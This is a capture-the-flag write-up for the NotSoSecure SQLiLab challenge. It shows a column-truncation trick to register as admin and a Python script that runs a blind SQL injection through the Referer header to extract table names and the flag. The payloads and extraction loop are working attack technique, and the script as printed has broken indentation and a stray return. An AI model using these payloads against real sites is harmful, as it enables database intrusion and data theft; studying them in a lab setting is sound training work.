Second NotSoSecure SQLiLab CTF


Dear fellow Hackers!,

thanks for signing up for the 2nd SQLiLab CTF. The CTF is now on!. Before you go all out hacking the CTF, here are some rules of the engagement:

1. Strictly no brute-forcing. There is no need to brute-force anything. If we see any excessive brute-forcing attempt, we will block your IP. :(
2. Any attempt to DoS the system will again result in us blocking your IP. We want you to have fun but dont’t spoil fun of other users :)
3. The CTF starts with a login page. Don’t ask us for your credentials. The login page is part of CTF!…:)
4. Follow us on twitter @notsosecure for hints and updates.
5. If you find a bug and report responsibly, we will credit you. Plz mail us ctf@notsosecure.com.
6. The CTF requires you to obtain 2 flags. When you have both the flags, mail us at flags@notsosecure.com with subject CTF: Flags.

Finally, the link of CTF is:

Happy Hacking


First step is obtain register url with compressed base64 comment on error.php.


sentinel:~ tunelko$ python
Python 2.7.5 (default, Aug 25 2013, 00:04:04)
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> b64='H4sIAAAAAAAAAAsyTs80LTEu0ssoyc0BACMzGYUNAAAA'.decode('base64')
>>> open('compress.gz','w').write(b64)
sentinel:~ tunelko$ gunzip compress.gz
 sentinel:~ tunelko$ cat t


So we point to R3gi5t3r.html page, maybe we can trick this page in any way :)

Flag 1: Column truncation on register page.

* underscore is an space

Register with: admin_______________________________x’
Other fields what ever.

We sucessfully register as admin due column truncation error, with this data:

admin : vjn9vdyA

Success! Well done, 1st Flag is 67326289


Flag 2: Blind SQLi

We are in front of a feedback form that is vulnerable to sql injection on referer (benchmark and sleep words were filtered) with blind vector like this:

' RLIKE IF(1=1,0x1337,0x28) AND 'dVfdC2'='dVfdC2

We can «pythonized» our exploit to show the data and reach the flag number two.
First, show me all tables different from information_schema with this injection: (flag,temp)

from requests import *
from urllib import *
from sys import argv
def number(q, pos):
 percent = '%'
 for i in '0123456789abcdef':
 payload = percent + percent.join('%02x' % ord(i) for i in "'RLIKE IF(substr(hex(%s),%d,1)='%c',0x1337,0x28) AND 'dVfdC2'='dVfdC2" % (q, pos, i))
 #print unquote(payload)
 request = post('http://ctf.notsosecure.com/9128938921839838/f33db4ck_flag/submit.php', headers={'Referer':payload},
 cookies={'PHPSESSID':'b8rhvc1subpci1hfhqdrc8o637'}, data={'name':'my_name', 'email':'example@domain.com', 'message':'HI!'})
 if 'Thanks!' in request.text:
 return i
result = ''
for i in xrange(1, 100, 2):
 x = number(argv[1], i)
 y = number(argv[1], i+1)
 if x == None or y == None:
 return result
result += chr(int(x+y, 16))
 print result
$ sentinel:tunelko$ python flag2.py "(select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')"

Bingo, we have table name as flag, so need to know the fieldname of this table.

$ sentinel:tunelko$ python flag2.py "(select group_concat(column_name) from information_schema.columns where table_name='flag')"

Ok. Thankfully is a common fieldname: flag. :)

Now, extract the value.

$ sentinel:tunelko$ python flag2.py "(select flag from flag)"

Seems we got our Flag2: 1362390


Thanks to orgs for this challenges!